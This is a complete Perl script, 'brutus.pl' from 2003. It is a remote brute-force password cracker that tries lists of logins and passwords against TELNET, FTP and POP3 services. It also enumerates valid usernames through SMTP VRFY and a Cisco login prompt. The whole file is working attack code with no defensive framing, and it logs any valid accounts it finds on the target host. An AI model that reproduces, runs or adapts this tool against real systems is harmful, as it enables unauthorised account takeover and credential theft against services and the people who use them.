#!/usr/bin/perl

#
# $Id: brutus.pl,v 1.3 2003/10/29 19:46:11 raptor Exp $
#
# brutus.pl v0.9.0 - remote login and password bruteforce cracker
# Copyright (c) 2000-2003 by Marco Ivaldi <raptor@0xdeadbeef.info>
#
# This program tries to break in remotely using login and password bruteforce
# attacks against TELNET (23/tcp), FTP (21/tcp) and POP3 (110/tcp) services. 
# Login list generation through SMTP vrfy/expn and CISCO login information 
# leaks is also supported.
#
# It shouldn't be too difficult to add the support for other protocols: feel 
# free to send me your new modules.
#
# Net::Telnet Perl module is required (get it at CPAN modules/by-module/Net/).
# Core written in one night, using one hand (other arm was broken). j00 pHEAR.
#

# external modules
use 		Net::Telnet;
use 		Getopt::Std;

# default variables
$name =		"brutus.pl";
$version =	"v0.9.0";
$description =	"remote login and password bruteforce cracker";
$copyright =	"Copyright (c) 2000-2003";
$author = 	"Marco Ivaldi <raptor\@0xdeadbeef.info>";

$usage = 	"\n$name $version - $description\n$copyright by $author\n\n./brutus.pl -h host -l llist [-p plist] [-s service] [-t timeout] [-S] [-L log]\n\nhost\t: target host specification (ip address or fully-qualified domain name)\nllist\t: get login list from file (or login and password list for single mode)\nplist\t: get password list from file (or activate single mode if not supplied)\nservice\t: service type (telnet | ftp | pop3 | smtp | cisco), default is telnet\ntimeout\t: explicitly set connection timeout for slow/fast nets, default is 10s\nsleep\t: enable 1s of sleep time between each attempt, default is don't sleep\nlog\t: set the name of the optional log file where to put brutus.pl results\n\n";

$timeout = 	10;		# default timeout
$service = 	"telnet";	# default service
$sleep =	0;		# sleep disabled

$l = 		0; 		# login counter
$p = 		0; 		# password counter
$v = 		0; 		# valid counter

chomp($date = 	`date "+%m/%d, %H:%M:%S"`);

# parse command line
getopts("h:l:p:t:s:L:S");

die $usage 			# mandatory options
	if (!($opt_h) || !($opt_l));

$target = 	$opt_h;		# target host
$lfile = 	$opt_l;		# login file
$pfile = 	$opt_p;		# password file
$logfile = 	$opt_L;		# log file

$timeout = 	$opt_t 		# set timeout
	if $opt_t;
$service = 	$opt_s 		# set service
	if $opt_s;
$sleep = 	1		# enable sleep
	if $opt_S;

die "err: $lfile: no such file\n" 
	if !(open LOGIN, "<$lfile"); 

# print start info to stdout/logfile
$start = "\n\n--- Breaking on $target $service begin at $date ---\n";
print $start;

if ($logfile) {
	die "err: $logfile: error writing to file\n" 
		if !(open LOG, ">>$logfile");
	print LOG $start;
	# flush log output
	select(LOG);
	$| = 1;
	select(STDOUT);
}

# double mode of operation (check every password for each login)
if ($pfile) {
	$i = 0;

	die "err: $pfile: no such file\n" 
		if !(open PASSWD, "<$pfile"); 

	while (<PASSWD>) {
		chomp($plist[$i] = $_);
		$i++;
	}
	close PASSWD;

	while (<LOGIN>) {
		next if $_ eq "\n"; # skip empty login

		chomp($login = $_);
		$l++;

		foreach $password (@plist) {
			$p++;

			# FTP bruteforce is supported in double mode
			if ($service eq "ftp") {
				&scan_ftp("21");
				sleep($sleep);

			# TELNET bruteforce is supported in double mode
			} elsif ($service eq "telnet") {
				&scan_telnet("23");
				sleep($sleep); # cisco telnet may need this

			# POP3 bruteforce is supported in double mode
			} elsif ($service eq "pop3") {
				&scan_pop3("110");
				sleep($sleep);

			# CISCO login discovery is NOT supported in double mode
			} elsif ($service eq "cisco") {
				die "err: double mode not supported w/CISCO\n";

			# SMTP login discovery is NOT supported in double mode
			} elsif ($service eq "smtp") {
				die "err: double mode not supported w/SMTP\n";

			# others
			} else {
				die "err: protocol $service not supported\n";
			}
		}

	}

# Single mode of operation (test equal login/password pairs or login-only)
} else {
	while (<LOGIN>) {
		next if $_ eq "\n"; # skip empty login

		chomp($login = $_);
		$password = $login;
		$l++; $p++;

		# FTP bruteforce is supported in single mode
		if ($service eq "ftp") {
			&scan_ftp("21");
			sleep($sleep);

		# TELNET bruteforce is supported in single mode
		} elsif ($service eq "telnet") {	
			&scan_telnet("23");
			sleep($sleep); # cisco telnet may need this

		# POP3 bruteforce is supported in single mode
		} elsif ($service eq "pop3") {
			&scan_pop3("110");
			sleep($sleep);

		# CISCO login discovery is supported in single mode
		} elsif ($service eq "cisco") {
			&scan_cisco("23");	
			sleep($sleep); # cisco telnet may need this

		# SMTP login discovery is supported in single mode
		} elsif ($service eq "smtp") {
			&scan_smtp("25");	
			sleep($sleep);

		# others
		} else {
			die "err: protocol $service not supported\n";
		}
	}

}
close LOGIN;

# print end info to stdout/logfile
chomp($date = `date "+%m/%d, %H:%M:%S"`);
$total = "\n[T]  $l login(s) and $p password(s) totally tested, $v account(s) found\n";
$total = "\n[T]  $l login(s) totally tested, $v existant login(s) found\n" 
	if ($service eq "smtp") or ($service eq "cisco");
$end = "--- Breaking on $target $service ended at $date ---\n";
print $total;
print $end;

if ($logfile) {
	print LOG $total;
	print LOG $end;
	close LOG;
}

exit(0);

#################### local functions #######################

# logging routine
sub log {

	# valid account found!
	if ($gotcha) {
		$v++;
		$ok = "[x]  $login:$password is a VALID $service account for $target!\n";
		print $ok;
		print LOG $ok if $logfile;
	
	# account is not good
	} else {
		$ko = "[ ]  $login:$password is not good, moving on...\n";
		print $ko;
		print LOG $ko if $logfile;
	}

	return;
}

# information leak (cisco|smtp) logging routine
sub log_leak {

	# valid login found!
	if ($gotcha) {
		$v++;
		$ok = "$login\n";
		print $ok;
		print LOG $ok if $logfile;
	}

	return;
}

# TELNET bruteforcer (default)
sub scan_telnet {

	# connect to target host
	$t = new Net::Telnet (	
		Port => $_[0],
		Host => $target,
		Timeout => $timeout,
		Errmode => "return");
	die "err: can't connect\n" if !$t;

	# wait for login prompt and send data (generic)
	$t->waitfor('/login[: ]*$/i', '/username[: ]*$/i');
	$t->print($login);
	$gotcha = 1;

	# wait for password prompt and send data (generic)
	$t->waitfor('/password[: ]*$/i');
	$t->print($password);

	# determine whether the account is valid or not (generic)
	(undef, $match) = $t->waitfor(-match => '/login[: ]*$/i',
		-match => '/username[: ]*$/i', -match => '/[\$%#>:][ ]?$/');
	$gotcha = 0 if $match =~ /(login[: ]*$)|(username[: ]*$)/i;
	$gotcha = -1 if !($match =~ /[\$%#>:][ ]?$/) and $gotcha;

	# timeout handling
	if ($gotcha == -1) {
		$t->close;
		&scan_telnet($_[0]);
		return;
	}
	
	# log and close connection
	&log;
	$t->close;
	return;
}

# FTP bruteforcer
sub scan_ftp {

	# connect to target host
	$t = new Net::Telnet (	
		Port => $_[0],
		Host => $target,
		Timeout => $timeout,
		Errmode => "return");
	die "err: can't connect\n" if !$t;

	# wait for login prompt and send data
	do { $match = $t->getline }
		until ($match =~ /^220/);
	$t->print("USER $login");
	$gotcha = 1;

	# wait for password prompt and send data
	do { $match = $t->getline }
		until ($match =~ /(^530)|(^421)|(^331)/);

	if ($match =~ /^331/) {
		$t->print("PASS $password");

		# determine whether the account is valid or not
		$match = $t->getline;
	}
	$gotcha = 0 if $match =~ /(^530)|(^421)/;
	$gotcha = -1 if !($match =~ /^230/) and $gotcha;

	# timeout handling
	if ($gotcha == -1) {
		$t->close;
		&scan_ftp($_[0]);
		return;
	}
	
	# log and close connection
	&log;
	$t->close;
	return;
}

# POP3 bruteforcer
sub scan_pop3 {

	# connect to target host
	$t = new Net::Telnet (	
		Port => $_[0],
		Host => $target,
		Timeout => $timeout,
		Errmode => "return");
	die "err: can't connect\n" if !$t;

	# wait for login prompt and send data
	do { $match = $t->getline }
		until ($match =~ /^\+OK/);
	$t->print("USER $login");
	$gotcha = 1;

	# wait for password prompt and send data
	do { $match = $t->getline }
		until ($match =~ /^\+OK/);
	$t->print("PASS $password");

	# determine whether the account is valid or not
	$match = $t->getline;
	$gotcha = 0 if $match =~ /^\-ERR/;
	$gotcha = -1 if !($match =~ /^\+OK/) and $gotcha;

	# timeout handling
	if ($gotcha == -1) {
		$t->close;
		&scan_pop3($_[0]);
		return;
	}
	
	# log and close connection
	&log;
	$t->close;
	return;
}

# SMTP login discoverer
sub scan_smtp {

	# connect to target host
	$t = new Net::Telnet (	
		Port => $_[0],
		Host => $target,
		Timeout => $timeout,
		Errmode => "return");
	die "err: can't connect on login $login\n" if !$t;

	# wait for prompt and send data
	do { $match = $t->getline }
		until ($match =~ /^220/);
	$t->print("VRFY $login"); # you can also use EXPN
	$gotcha = 1;

	# determine whether the login exists or not
	$match = $t->getline;
	$gotcha = 0 if $match =~ /(^550)|(^251)/;
	$gotcha = -1 if !($match =~ /^250/) and $gotcha;

	# timeout handling
	if ($gotcha == -1) {
		$t->close;
		&scan_smtp($_[0]);
		return;
	}
	
	# log and close connection
	&log_leak;
	$t->close;
	return;
}

# CISCO login discoverer
sub scan_cisco {

	# connect to target host
	$t = new Net::Telnet (	
		Port => $_[0],
		Host => $target,
		Timeout => $timeout,
		Errmode => "return");
	die "err: can't connect on login $login\n" if !$t;

	# wait for login prompt and send data
	$t->waitfor('/username[: ]*$/i');
	$t->print($login);
	$gotcha = 1;

	# determine whether the login exists or not
	(undef, $match) = $t->waitfor(-match => '/Username: /', 
		-match => '/Password: /');
	$gotcha = 0 if $match =~ /Username: /;
	$gotcha = -1 if !($match =~ /Password: /) and $gotcha;

	# timeout handling
	if ($gotcha == -1) {
		$t->close;
		&scan_cisco($_[0]);
		return;
	}
	
	# log and close connection
	&log_leak;
	$t->close;
	return;
}
